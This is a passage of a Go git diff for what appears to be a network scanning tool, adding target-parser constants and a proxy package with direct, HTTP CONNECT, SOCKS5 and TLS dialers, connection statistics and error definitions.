`^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$` + CookieRegexPattern = `^[^=;\s]+(=[^;\s]*)?(\s*;\s*[^=;\s]+(=[^;\s]*)?)*$` + + // IP地址限制 + MaxIPv4OctetValue = 255 + IPv4OctetCount = 4 + MaxDomainLength = 253 + + // CIDR网段简写 + PrivateNetwork192 = "192" + PrivateNetwork172 = "172" + PrivateNetwork10 = "10" + PrivateNetwork192CIDR = "192.168.0.0/16" + PrivateNetwork172CIDR = "172.16.0.0/12" + PrivateNetwork10CIDR = "10.0.0.0/8" + + // 私有网络范围 + Private172StartSecondOctet = 16 + Private172EndSecondOctet = 31 + Private192SecondOctet = 168 + + // /8网段采样配置 + Subnet8SamplingStep = 32 + Subnet8ThirdOctetStep = 10 + + // IP地址计算位移 + IPFirstOctetShift = 24 + IPSecondOctetShift = 16 + IPThirdOctetShift = 8 + IPOctetMask = 0xFF +) + +// GetCommonSecondOctets 获取常用第二段IP +func GetCommonSecondOctets() []int { + return []int{0, 1, 2, 10, 100, 200, 254} +} + +// ============================================================================= +// 简化解析器常量 (从Simple.go迁移) +// ============================================================================= + +const ( + // 端口和主机限制 + SimpleMaxHosts = 10000 + + // 网段简写展开 + DefaultGatewayLastOctet = 1 + RouterSwitchLastOctet = 254 + SamplingMinHost = 2 + SamplingMaxHost = 253 +) + +// GetPortGroups 获取预定义端口组映射(统一的端口组定义) +func GetPortGroups() map[string]string { + return map[string]string{ + "web": base.WebPorts, // 使用实际的WebPorts常量 + "main": base.MainPorts, // 使用实际的MainPorts常量 + "db": base.DbPorts, // 使用实际的DbPorts常量 + "service": base.ServicePorts, // 使用实际的ServicePorts常量 + "common": base.CommonPorts, // 使用实际的CommonPorts常量 + "all": base.AllPorts, // 使用实际的AllPorts常量 + } +} + +// GetTargetPortGroups 获取目标解析器端口组映射(向后兼容,调用统一函数) +func GetTargetPortGroups() map[string]string { + return GetPortGroups() +} + +// ============================================================================= +// 验证解析器常量 (从ValidationParser.go迁移) +// ============================================================================= + +const ( + // 验证解析器默认配置 + DefaultMaxErrorCount = 100 + DefaultStrictMode = false + DefaultAllowEmpty = true + DefaultCheckConflicts = true + DefaultValidateTargets = true + DefaultValidateNetwork = true + + // 性能警告阈值 + MaxTargetsThreshold = 100000 // 最大目标数量阈值 + MinTimeoutThreshold = 1 * time.Second // 最小超时阈值 + MaxTimeoutThreshold = 60 * time.Second // 最大超时阈值 +) + +// ============================================================================= +// 错误类型常量 +// ============================================================================= + +const ( + // 解析错误类型 + ErrorTypeInputError = "INPUT_ERROR" + ErrorTypeFileError = "FILE_ERROR" + ErrorTypeTimeout = "TIMEOUT" + ErrorTypeReadError = "READ_ERROR" + ErrorTypeUsernameError = "USERNAME_ERROR" + ErrorTypePasswordError = "PASSWORD_ERROR" + ErrorTypeHashError = "HASH_ERROR" + ErrorTypeProxyError = "PROXY_ERROR" + ErrorTypeUserAgentError = "USERAGENT_ERROR" + ErrorTypeCookieError = "COOKIE_ERROR" + ErrorTypeHostError = "HOST_ERROR" + ErrorTypePortError = "PORT_ERROR" + ErrorTypeExcludePortError = "EXCLUDE_PORT_ERROR" + +) + +// ============================================================================= +// 编译时正则表达式 +// ============================================================================= + +var ( + // 预编译的正则表达式,提高性能 + CompiledHashRegex *regexp.Regexp + CompiledIPv4Regex *regexp.Regexp + CompiledPortRegex *regexp.Regexp + CompiledURLRegex *regexp.Regexp + CompiledDomainRegex *regexp.Regexp + CompiledCookieRegex *regexp.Regexp +) + +// 在包初始化时编译正则表达式 +func init() { + CompiledHashRegex = regexp.MustCompile(HashRegexPattern) + CompiledIPv4Regex = regexp.MustCompile(IPv4RegexPattern) + CompiledPortRegex = regexp.MustCompile(PortRangeRegexPattern) + CompiledURLRegex = regexp.MustCompile(URLValidationRegexPattern) + CompiledDomainRegex = regexp.MustCompile(DomainRegexPattern) + CompiledCookieRegex = regexp.MustCompile(CookieRegexPattern) +} \ No newline at end of file diff --git a/common/proxy/Factory.go b/common/proxy/Factory.go new file mode 100644 index 0000000..d24b9d9 --- /dev/null +++ b/common/proxy/Factory.go @@ -0,0 +1,14 @@ +package proxy + +// 已清理未使用的导入 + +// ============================================================================================= +// 已删除的死代码(未使用): +// - ParseProxyURL: 解析代理URL +// - CreateProxyManager: 创建代理管理器 +// - ValidateProxyConfig: 验证代理配置 +// - GetProxyTypeFromString: 从字符串获取代理类型 +// - BuildProxyURL: 构建代理URL +// - IsProxyEnabled: 检查是否启用了代理 +// - GetDefaultProxyConfigForType: 获取指定类型的默认配置 +// ============================================================================================= \ No newline at end of file diff --git a/common/proxy/Global.go b/common/proxy/Global.go new file mode 100644 index 0000000..9c581ff --- /dev/null +++ b/common/proxy/Global.go @@ -0,0 +1,22 @@ +package proxy + +// 已清理未使用的导入和全局变量 + +// ============================================================================================= +// 已删除的死代码(未使用): +// - globalManager: 全局代理管理器变量 +// - globalMutex: 全局互斥锁 +// - once: 全局初始化once变量 +// - InitGlobalProxy: 初始化全局代理管理器 +// - GetGlobalProxy: 获取全局代理管理器 +// - UpdateGlobalProxyConfig: 更新全局代理配置 +// - CloseGlobalProxy: 关闭全局代理管理器 +// - GetGlobalProxyStats: 获取全局代理统计信息 +// - DialWithProxy: 使用全局代理拨号 +// - DialContextWithProxy: 使用全局代理和上下文拨号 +// - DialTLSWithProxy: 使用全局代理建立TLS连接 +// - DialTLSContextWithProxy: 使用全局代理和上下文建立TLS连接 +// - IsProxyEnabledGlobally: 检查全局是否启用了代理 +// - GetGlobalProxyType: 获取全局代理类型 +// - GetGlobalProxyAddress: 获取全局代理地址 +// ============================================================================================= \ No newline at end of file diff --git a/common/proxy/HTTPDialer.go b/common/proxy/HTTPDialer.go new file mode 100644 index 0000000..8239e7c --- /dev/null +++ b/common/proxy/HTTPDialer.go @@ -0,0 +1,112 @@ +package proxy + +import ( + "bufio" + "context" + "encoding/base64" + "fmt" + "net" + "net/http" + "sync/atomic" + "time" +) + +// httpDialer HTTP代理拨号器 +type httpDialer struct { + config *ProxyConfig + stats *ProxyStats + baseDial *net.Dialer +} + +func (h *httpDialer) Dial(network, address string) (net.Conn, error) { + return h.DialContext(context.Background(), network, address) +} + +func (h *httpDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) { + start := time.Now() + atomic.AddInt64(&h.stats.TotalConnections, 1) + + // 连接到HTTP代理服务器 + proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address) + if err != nil { + atomic.AddInt64(&h.stats.FailedConnections, 1) + h.stats.LastError = err.Error() + return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err) + } + + // 发送CONNECT请求 + if err := h.sendConnectRequest(proxyConn, address); err != nil { + proxyConn.Close() + atomic.AddInt64(&h.stats.FailedConnections, 1) + h.stats.LastError = err.Error() + return nil, err + } + + duration := time.Since(start) + h.stats.LastConnectTime = start + atomic.AddInt64(&h.stats.ActiveConnections, 1) + h.updateAverageConnectTime(duration) + + return &trackedConn{ + Conn: proxyConn, + stats: h.stats, + }, nil +} + +// sendConnectRequest 发送HTTP CONNECT请求 +func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error { + // 构建CONNECT请求 + req := fmt.Sprintf(HTTPConnectRequestFormat, address, address) + + // 添加认证头 + if h.config.Username != "" { + auth := base64.StdEncoding.EncodeToString( + []byte(h.config.Username + AuthSeparator + h.config.Password)) + req += fmt.Sprintf(HTTPAuthHeaderFormat, auth) + } + + req += HTTPRequestEndFormat + + // 设置写超时 + if err := conn.SetWriteDeadline(time.Now().Add(h.config.Timeout)); err != nil { + return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetWriteTimeout, ErrCodeHTTPSetWriteTimeout, err) + } + + // 发送请求 + if _, err := conn.Write([]byte(req)); err != nil { + return NewProxyError(ErrTypeConnection, ErrMsgHTTPSendConnectFail, ErrCodeHTTPSendConnectFail, err) + } + + // 设置读超时 + if err := conn.SetReadDeadline(time.Now().Add(h.config.Timeout)); err != nil { + return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetReadTimeout, ErrCodeHTTPSetReadTimeout, err) + } + + // 读取响应 + resp, err := http.ReadResponse(bufio.NewReader(conn), nil) + if err != nil { + return NewProxyError(ErrTypeProtocol, ErrMsgHTTPReadRespFailed, ErrCodeHTTPReadRespFailed, err) + } + defer resp.Body.Close() + + // 检查响应状态 + if resp.StatusCode != HTTPStatusOK { + return NewProxyError(ErrTypeAuth, + fmt.Sprintf(ErrMsgHTTPProxyAuthFailed, resp.StatusCode), ErrCodeHTTPProxyAuthFailed, nil) + } + + // 清除deadline + conn.SetDeadline(time.Time{}) + + return nil +} + +// updateAverageConnectTime 更新平均连接时间 +func (h *httpDialer) updateAverageConnectTime(duration time.Duration) { + // 简单的移动平均 + if h.stats.AverageConnectTime == 0 { + h.stats.AverageConnectTime = duration + } else { + h.stats.AverageConnectTime = (h.stats.AverageConnectTime + duration) / 2 + } +} \ No newline at end of file diff --git a/common/proxy/Manager.go b/common/proxy/Manager.go new file mode 100644 index 0000000..d9f82a1 --- /dev/null +++ b/common/proxy/Manager.go @@ -0,0 +1,337 @@ +package proxy + +import ( + "context" + "fmt" + "net" + "net/url" + "sync" + "sync/atomic" + "time" + + "golang.org/x/net/proxy" +) + +// manager 代理管理器实现 +type manager struct { + config *ProxyConfig + stats *ProxyStats + mu sync.RWMutex + + // 连接池 + dialerCache map[string]Dialer + cacheExpiry time.Time + cacheMu sync.RWMutex +} + +// NewProxyManager 创建新的代理管理器 +func NewProxyManager(config *ProxyConfig) ProxyManager { + if config == nil { + config = DefaultProxyConfig() + } + + return &manager{ + config: config, + stats: &ProxyStats{ + ProxyType: config.Type.String(), + ProxyAddress: config.Address, + }, + dialerCache: make(map[string]Dialer), + cacheExpiry: time.Now().Add(DefaultCacheExpiry), + } +} + +// GetDialer 获取普通拨号器 +func (m *manager) GetDialer() (Dialer, error) { + m.mu.RLock() + config := m.config + m.mu.RUnlock() + + switch config.Type { + case ProxyTypeNone: + return m.createDirectDialer(), nil + case ProxyTypeSOCKS5: + return m.createSOCKS5Dialer() + case ProxyTypeHTTP, ProxyTypeHTTPS: + return m.createHTTPDialer() + default: + return nil, NewProxyError(ErrTypeConfig, ErrMsgUnsupportedProxyType, ErrCodeUnsupportedProxyType, nil) + } +} + +// GetTLSDialer 获取TLS拨号器 +func (m *manager) GetTLSDialer() (TLSDialer, error) { + dialer, err := m.GetDialer() + if err != nil { + return nil, err + } + + return &tlsDialerWrapper{ + dialer: dialer, + config: m.config, + stats: m.stats, + }, nil +} + +// UpdateConfig 更新配置 +func (m *manager) UpdateConfig(config *ProxyConfig) error { + if config == nil { + return NewProxyError(ErrTypeConfig, ErrMsgEmptyConfig, ErrCodeEmptyConfig, nil) + } + + m.mu.Lock() + defer m.mu.Unlock() + + m.config = config + m.stats.ProxyType = config.Type.String() + m.stats.ProxyAddress = config.Address + + // 清理缓存 + m.cacheMu.Lock() + m.dialerCache = make(map[string]Dialer) + m.cacheExpiry = time.Now().Add(DefaultCacheExpiry) + m.cacheMu.Unlock() + + return nil +} + +// Close 关闭管理器 +func (m *manager) Close() error { + m.cacheMu.Lock() + defer m.cacheMu.Unlock() + + m.dialerCache = make(map[string]Dialer) + return nil +} + +// Stats 获取统计信息 +func (m *manager) Stats() *ProxyStats { + m.mu.RLock() + defer m.mu.RUnlock() + + // 返回副本以避免并发问题 + statsCopy := *m.stats + return &statsCopy +} + +// createDirectDialer 创建直连拨号器 +func (m *manager) createDirectDialer() Dialer { + return &directDialer{ + timeout: m.config.Timeout, + stats: m.stats, + } +} + +// createSOCKS5Dialer 创建SOCKS5拨号器 +func (m *manager) createSOCKS5Dialer() (Dialer, error) { + // 检查缓存 + cacheKey := fmt.Sprintf(CacheKeySOCKS5, m.config.Address) + m.cacheMu.RLock() + if time.Now().Before(m.cacheExpiry) { + if cached, exists := m.dialerCache[cacheKey]; exists { + m.cacheMu.RUnlock() + return cached, nil + } + } + m.cacheMu.RUnlock() + + // 解析代理地址 + proxyURL := fmt.Sprintf(SOCKS5URLFormat, m.config.Address) + if m.config.Username != "" { + proxyURL = fmt.Sprintf(SOCKS5URLAuthFormat, + m.config.Username, m.config.Password, m.config.Address) + } + + u, err := url.Parse(proxyURL) + if err != nil { + return nil, NewProxyError(ErrTypeConfig, ErrMsgSOCKS5ParseFailed, ErrCodeSOCKS5ParseFailed, err) + } + + // 创建基础拨号器 + baseDial := &net.Dialer{ + Timeout: m.config.Timeout, + KeepAlive: m.config.KeepAlive, + } + + // 创建SOCKS5拨号器 + var auth *proxy.Auth + if u.User != nil { + auth = &proxy.Auth{ + User: u.User.Username(), + } + if password, hasPassword := u.User.Password(); hasPassword { + auth.Password = password + } + } + + socksDialer, err := proxy.SOCKS5(NetworkTCP, u.Host, auth, baseDial) + if err != nil { + return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5CreateFailed, ErrCodeSOCKS5CreateFailed, err) + } + + dialer := &socks5Dialer{ + dialer: socksDialer, + config: m.config, + stats: m.stats, + } + + // 更新缓存 + m.cacheMu.Lock() + m.dialerCache[cacheKey] = dialer + m.cacheExpiry = time.Now().Add(DefaultCacheExpiry) + m.cacheMu.Unlock() + + return dialer, nil +} + +// createHTTPDialer 创建HTTP代理拨号器 +func (m *manager) createHTTPDialer() (Dialer, error) { + // 检查缓存 + cacheKey := fmt.Sprintf(CacheKeyHTTP, m.config.Address) + m.cacheMu.RLock() + if time.Now().Before(m.cacheExpiry) { + if cached, exists := m.dialerCache[cacheKey]; exists { + m.cacheMu.RUnlock() + return cached, nil + } + } + m.cacheMu.RUnlock() + + dialer := &httpDialer{ + config: m.config, + stats: m.stats, + baseDial: &net.Dialer{ + Timeout: m.config.Timeout, + KeepAlive: m.config.KeepAlive, + }, + } + + // 更新缓存 + m.cacheMu.Lock() + m.dialerCache[cacheKey] = dialer + m.cacheExpiry = time.Now().Add(DefaultCacheExpiry) + m.cacheMu.Unlock() + + return dialer, nil +} + +// directDialer 直连拨号器 +type directDialer struct { + timeout time.Duration + stats *ProxyStats +} + +func (d *directDialer) Dial(network, address string) (net.Conn, error) { + return d.DialContext(context.Background(), network, address) +} + +func (d *directDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) { + start := time.Now() + atomic.AddInt64(&d.stats.TotalConnections, 1) + + dialer := &net.Dialer{ + Timeout: d.timeout, + } + + conn, err := dialer.DialContext(ctx, network, address) + + duration := time.Since(start) + d.stats.LastConnectTime = start + + if err != nil { + atomic.AddInt64(&d.stats.FailedConnections, 1) + d.stats.LastError = err.Error() + return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err) + } + + atomic.AddInt64(&d.stats.ActiveConnections, 1) + d.updateAverageConnectTime(duration) + + return &trackedConn{ + Conn: conn, + stats: d.stats, + }, nil +} + +// socks5Dialer SOCKS5拨号器 +type socks5Dialer struct { + dialer proxy.Dialer + config *ProxyConfig + stats *ProxyStats +} + +func (s *socks5Dialer) Dial(network, address string) (net.Conn, error) { + return s.DialContext(context.Background(), network, address) +} + +func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) { + start := time.Now() + atomic.AddInt64(&s.stats.TotalConnections, 1) + + // 创建一个带超时的上下文 + dialCtx, cancel := context.WithTimeout(ctx, s.config.Timeout) + defer cancel() + + // 使用goroutine处理拨号,以支持取消 + connChan := make(chan struct { + conn net.Conn + err error + }, 1) + + go func() { + conn, err := s.dialer.Dial(network, address) + select { + case <-dialCtx.Done(): + if conn != nil { + conn.Close() + } + case connChan <- struct { + conn net.Conn + err error + }{conn, err}: + } + }() + + select { + case <-dialCtx.Done(): + atomic.AddInt64(&s.stats.FailedConnections, 1) + s.stats.LastError = dialCtx.Err().Error() + return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err()) + case result := <-connChan: + duration := time.Since(start) + s.stats.LastConnectTime = start + + if result.err != nil { + atomic.AddInt64(&s.stats.FailedConnections, 1) + s.stats.LastError = result.err.Error() + return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err) + } + + atomic.AddInt64(&s.stats.ActiveConnections, 1) + s.updateAverageConnectTime(duration) + + return &trackedConn{ + Conn: result.conn, + stats: s.stats, + }, nil + } +} + +// updateAverageConnectTime 更新平均连接时间 +func (d *directDialer) updateAverageConnectTime(duration time.Duration) { + // 简单的移动平均 + if d.stats.AverageConnectTime == 0 { + d.stats.AverageConnectTime = duration + } else { + d.stats.AverageConnectTime = (d.stats.AverageConnectTime + duration) / 2 + } +} + +func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) { + // 简单的移动平均 + if s.stats.AverageConnectTime == 0 { + s.stats.AverageConnectTime = duration + } else { + s.stats.AverageConnectTime = (s.stats.AverageConnectTime + duration) / 2 + } +} \ No newline at end of file diff --git a/common/proxy/TLSDialer.go b/common/proxy/TLSDialer.go new file mode 100644 index 0000000..ae119bd --- /dev/null +++ b/common/proxy/TLSDialer.go @@ -0,0 +1,157 @@ +package proxy + +import ( + "context" + "crypto/tls" + "net" + "sync/atomic" + "time" +) + +// tlsDialerWrapper TLS拨号器包装器 +type tlsDialerWrapper struct { + dialer Dialer + config *ProxyConfig + stats *ProxyStats +} + +func (t *tlsDialerWrapper) Dial(network, address string) (net.Conn, error) { + return t.dialer.Dial(network, address) +} + +func (t *tlsDialerWrapper) DialContext(ctx context.Context, network, address string) (net.Conn, error) { + return t.dialer.DialContext(ctx, network, address) +} + +func (t *tlsDialerWrapper) DialTLS(network, address string, config *tls.Config) (net.Conn, error) { + return t.DialTLSContext(context.Background(), network, address, config) +} + +func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) { + start := time.Now() + + // 首先建立TCP连接 + tcpConn, err := t.dialer.DialContext(ctx, network, address) + if err != nil { + return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSTCPConnFailed, ErrCodeTLSTCPConnFailed, err) + } + + // 创建TLS连接 + tlsConn := tls.Client(tcpConn, tlsConfig) + + // 设置TLS握手超时 + if deadline, ok := ctx.Deadline(); ok { + tlsConn.SetDeadline(deadline) + } else { + tlsConn.SetDeadline(time.Now().Add(t.config.Timeout)) + } + + // 进行TLS握手 + if err := tlsConn.Handshake(); err != nil { + tcpConn.Close() + atomic.AddInt64(&t.stats.FailedConnections, 1) + t.stats.LastError = err.Error() + return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err) + } + + // 清除deadline,让上层代码管理超时 + tlsConn.SetDeadline(time.Time{}) + + duration := time.Since(start) + t.updateAverageConnectTime(duration) + + return &trackedTLSConn{ + trackedConn: &trackedConn{ + Conn: tlsConn, + stats: t.stats, + }, + isTLS: true, + }, nil +} + +// updateAverageConnectTime 更新平均连接时间 +func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) { + // 简单的移动平均 + if t.stats.AverageConnectTime == 0 { + t.stats.AverageConnectTime = duration + } else { + t.stats.AverageConnectTime = (t.stats.AverageConnectTime + duration) / 2 + } +} + +// trackedConn 带统计的连接 +type trackedConn struct { + net.Conn + stats *ProxyStats + bytesSent int64 + bytesRecv int64 +} + +func (tc *trackedConn) Read(b []byte) (n int, err error) { + n, err = tc.Conn.Read(b) + if n > 0 { + atomic.AddInt64(&tc.bytesRecv, int64(n)) + } + return n, err +} + +func (tc *trackedConn) Write(b []byte) (n int, err error) { + n, err = tc.Conn.Write(b) + if n > 0 { + atomic.AddInt64(&tc.bytesSent, int64(n)) + } + return n, err +} + +func (tc *trackedConn) Close() error { + atomic.AddInt64(&tc.stats.ActiveConnections, -1) + return tc.Conn.Close() +} + +// trackedTLSConn 带统计的TLS连接 +type trackedTLSConn struct { + *trackedConn + isTLS bool +} + +func (ttc *trackedTLSConn) ConnectionState() tls.ConnectionState { + if tlsConn, ok := ttc.Conn.(*tls.Conn); ok { + return tlsConn.ConnectionState() + } + return tls.ConnectionState{} +} + +func (ttc *trackedTLSConn) Handshake() error { + if tlsConn, ok := ttc.Conn.(*tls.Conn); ok { + return tlsConn.Handshake() + } + return nil +} + +func (ttc *trackedTLSConn) OCSPResponse() []byte { + if tlsConn, ok := ttc.Conn.(*tls.Conn); ok { + return tlsConn.OCSPResponse() + } + return nil +} + +func (ttc *trackedTLSConn) PeerCertificates() []*tls.Certificate { + if tlsConn, ok := ttc.Conn.(*tls.Conn); ok { + state := tlsConn.ConnectionState() + var certs []*tls.Certificate + for _, cert := range state.PeerCertificates { + certs = append(certs, &tls.Certificate{ + Certificate: [][]byte{cert.Raw}, + }) + } + return certs + } + return nil +} + +func (ttc *trackedTLSConn) VerifyHostname(host string) error { + if tlsConn, ok := ttc.Conn.(*tls.Conn); ok { + return tlsConn.VerifyHostname(host) + } + return nil +} \ No newline at end of file diff --git a/common/proxy/Types.go b/common/proxy/Types.go new file mode 100644 index 0000000..75f2c55 --- /dev/null +++ b/common/proxy/Types.go @@ -0,0 +1,134 @@ +package proxy + +import ( + "context" + "crypto/tls" + "net" + "time" +) + +// ProxyType 代理类型 +type ProxyType int + +const ( + ProxyTypeNone ProxyType = iota + ProxyTypeHTTP + ProxyTypeHTTPS + ProxyTypeSOCKS5 +) + +// String 返回代理类型的字符串表示 +func (pt ProxyType) String() string { + switch pt { + case ProxyTypeNone: + return ProxyTypeStringNone + case ProxyTypeHTTP: + return ProxyTypeStringHTTP + case ProxyTypeHTTPS: + return ProxyTypeStringHTTPS + case ProxyTypeSOCKS5: + return ProxyTypeStringSOCKS5 + default: + return ProxyTypeStringUnknown + } +} + +// ProxyConfig 代理配置 +type ProxyConfig struct { + Type ProxyType `json:"type"` + Address string `json:"address"` + Username string `json:"username,omitempty"` + Password string `json:"password,omitempty"` + Timeout time.Duration `json:"timeout"` + MaxRetries int `json:"max_retries"` + KeepAlive time.Duration `json:"keep_alive"` + IdleTimeout time.Duration `json:"idle_timeout"` + MaxIdleConns int `json:"max_idle_conns"` +} + +// DefaultProxyConfig 返回默认代理配置 +func DefaultProxyConfig() *ProxyConfig { + return &ProxyConfig{ + Type: ProxyTypeNone, + Timeout: DefaultProxyTimeout, + MaxRetries: DefaultProxyMaxRetries, + KeepAlive: DefaultProxyKeepAlive, + IdleTimeout: DefaultProxyIdleTimeout, + MaxIdleConns: DefaultProxyMaxIdleConns, + } +} + +// Dialer 拨号器接口 +type Dialer interface { + Dial(network, address string) (net.Conn, error) + DialContext(ctx context.Context, network, address string) (net.Conn, error) +} + +// TLSDialer TLS拨号器接口 +type TLSDialer interface { + Dialer + DialTLS(network, address string, config *tls.Config) (net.Conn, error) + DialTLSContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error) +} + +// ProxyManager 代理管理器接口 +type ProxyManager interface { + GetDialer() (Dialer, error) + GetTLSDialer() (TLSDialer, error) + UpdateConfig(config *ProxyConfig) error + Close() error + Stats() *ProxyStats +} + +// ProxyStats 代理统计信息 +type ProxyStats struct { + TotalConnections int64 `json:"total_connections"` + ActiveConnections int64 `json:"active_connections"` + FailedConnections int64 `json:"failed_connections"` + AverageConnectTime time.Duration `json:"average_connect_time"` + LastConnectTime time.Time `json:"last_connect_time"` + LastError string `json:"last_error,omitempty"` + ProxyType string `json:"proxy_type"` + ProxyAddress string `json:"proxy_address"` +} + +// ConnectionInfo 连接信息 +type ConnectionInfo struct { + ID string `json:"id"` + RemoteAddr string `json:"remote_addr"` + LocalAddr string `json:"local_addr"` + ProxyAddr string `json:"proxy_addr,omitempty"` + ConnectTime time.Time `json:"connect_time"` + Duration time.Duration `json:"duration"` + BytesSent int64 `json:"bytes_sent"` + BytesRecv int64 `json:"bytes_recv"` + IsTLS bool `json:"is_tls"` + Error string `json:"error,omitempty"` +} + +// ProxyError 代理错误类型 +type ProxyError struct { + Type string `json:"type"` + Message string `json:"message"` + Code int `json:"code"` + Cause error `json:"cause,omitempty"` +} + +func (e *ProxyError) Error() string { + if e.Cause != nil { + return e.Message + ": " + e.Cause.Error() + } + return e.Message +} + +// NewProxyError 创建代理错误 +func NewProxyError(errType, message string, code int, cause error) *ProxyError { + return &ProxyError{ + Type: errType, + Message: message, + Code: code, + Cause: cause, + } +} + +// 预定义错误类型已迁移到constants.go \ No newline at end of file diff --git a/common/proxy/constants.go b/common/proxy/constants.go new file mode 100644 index 0000000..6b60a9d --- /dev/null +++ b/common/proxy/constants.go @@ -0,0 +1,179 @@ +package proxy + +import ( + "time" +) + +/* +constants.go - 代理系统常量定义 + +统一管理common/proxy包中的所有常量,便于查看和编辑。 +*/ + +// ============================================================================= +// 代理类型常量 (从Types.go迁移) +// ============================================================================= + +const ( + // 代理类型字符串 + ProxyTypeStringNone = "none" + ProxyTypeStringHTTP = "http" + ProxyTypeStringHTTPS = "https" + ProxyTypeStringSOCKS5 = "socks5" + ProxyTypeStringUnknown = "unknown" +) + +// ============================================================================= +// 默认配置常量 (从Types.go迁移) +// ============================================================================= + +const ( + // 默认代理配置值 + DefaultProxyTimeout = 30 * time.Second // 默认超时时间 + DefaultProxyMaxRetries = 3 // 默认最大重试次数 + DefaultProxyKeepAlive = 30 * time.Second // 默认保持连接时间 + DefaultProxyIdleTimeout = 90 * time.Second // 默认空闲超时时间 + DefaultProxyMaxIdleConns = 10 // 默认最大空闲连接数 +) + +// ============================================================================= +// 错误类型常量 (从Types.go迁移) +// ============================================================================= + +const ( + // 预定义错误类型 + ErrTypeConfig = "config_error" + ErrTypeConnection = "connection_error" + ErrTypeAuth = "auth_error" + ErrTypeTimeout = "timeout_error" + ErrTypeProtocol = "protocol_error" +) + +// ============================================================================= +// 缓存管理常量 (从Manager.go迁移) +// ============================================================================= + +const ( + // 缓存配置 + DefaultCacheExpiry = 5 * time.Minute // 默认缓存过期时间 +) + +// ============================================================================= +// 错误代码常量 (从Manager.go和其他文件迁移) +// ============================================================================= + +const ( + // Manager错误代码 + ErrCodeUnsupportedProxyType = 1001 + ErrCodeEmptyConfig = 1002 + + // SOCKS5错误代码 + ErrCodeSOCKS5ParseFailed = 2001 + ErrCodeSOCKS5CreateFailed = 2002 + + // 直连错误代码 + ErrCodeDirectConnFailed = 3001 + ErrCodeSOCKS5ConnTimeout = 3002 + ErrCodeSOCKS5ConnFailed = 3003 + + // HTTP代理错误代码 + ErrCodeHTTPConnFailed = 4001 + ErrCodeHTTPSetWriteTimeout = 4002 + ErrCodeHTTPSendConnectFail = 4003 + ErrCodeHTTPSetReadTimeout = 4004 + ErrCodeHTTPReadRespFailed = 4005 + ErrCodeHTTPProxyAuthFailed = 4006 + + // TLS错误代码 + ErrCodeTLSTCPConnFailed = 5001 + ErrCodeTLSHandshakeFailed = 5002 +) + +// ============================================================================= +// HTTP协议常量 (从HTTPDialer.go迁移) +// ============================================================================= + +const ( + // HTTP响应状态码 + HTTPStatusOK = 200 + + // HTTP协议常量 + HTTPVersion = "HTTP/1.1" + HTTPMethodConnect = "CONNECT" + + // HTTP头部常量 + HTTPHeaderHost = "Host" + HTTPHeaderProxyAuth = "Proxy-Authorization" + HTTPHeaderAuthBasic = "Basic" +) + +// ============================================================================= +// 网络协议常量 (从各文件迁移) +// ============================================================================= + +const ( + // 网络协议 + NetworkTCP = "tcp" + + // 代理协议前缀 + ProxyProtocolSOCKS5 = "socks5" + + // 认证分隔符 + AuthSeparator = ":" +) + +// ============================================================================= +// 错误消息常量 +// ============================================================================= + +const ( + // Manager错误消息 + ErrMsgUnsupportedProxyType = "不支持的代理类型" + ErrMsgEmptyConfig = "配置不能为空" + + // SOCKS5错误消息 + ErrMsgSOCKS5ParseFailed = "SOCKS5代理地址解析失败" + ErrMsgSOCKS5CreateFailed = "SOCKS5拨号器创建失败" + ErrMsgSOCKS5ConnTimeout = "SOCKS5连接超时" + ErrMsgSOCKS5ConnFailed = "SOCKS5连接失败" + + // 直连错误消息 + ErrMsgDirectConnFailed = "直连失败" + + // HTTP代理错误消息 + ErrMsgHTTPConnFailed = "连接HTTP代理服务器失败" + ErrMsgHTTPSetWriteTimeout = "设置写超时失败" + ErrMsgHTTPSendConnectFail = "发送CONNECT请求失败" + ErrMsgHTTPSetReadTimeout = "设置读超时失败" + ErrMsgHTTPReadRespFailed = "读取HTTP响应失败" + ErrMsgHTTPProxyAuthFailed = "HTTP代理连接失败,状态码: %d" + + // TLS错误消息 + ErrMsgTLSTCPConnFailed = "建立TCP连接失败" + ErrMsgTLSHandshakeFailed = "TLS握手失败" +) + +// ============================================================================= +// 缓存键前缀常量 (从Manager.go迁移) +// ============================================================================= + +const ( + // 缓存键前缀 + CacheKeySOCKS5 = "socks5_%s" + CacheKeyHTTP = "http_%s" +) + +// ============================================================================= +// 格式化字符串常量 (从各文件迁移) +// ============================================================================= + +const ( + // SOCKS5 URL格式 + SOCKS5URLFormat = "socks5://%s" + SOCKS5URLAuthFormat = "socks5://%s:%s@%s" + + // HTTP CONNECT请求格式 + HTTPConnectRequestFormat = "CONNECT %s HTTP/1.1\r\nHost: %s\r\n" + HTTPAuthHeaderFormat = "Proxy-Authorization: Basic %s\r\n" + HTTPRequestEndFormat = "\r\n" +) \ No newline at end of file diff --git a/common/target.go b/common/target.go new file mode 100644 index 0000000..a3633f3 --- /dev/null +++ b/common/target.go @@ -0,0 +1,62 @@ +package common + +import ( + "context" +) + +// TargetInfo 包装HostInfo,提供更丰富的功能 +type TargetInfo struct { + *HostInfo // 嵌入HostInfo,保持向后兼容 + context context.Context + metadata map[string]interface{} +} + +// 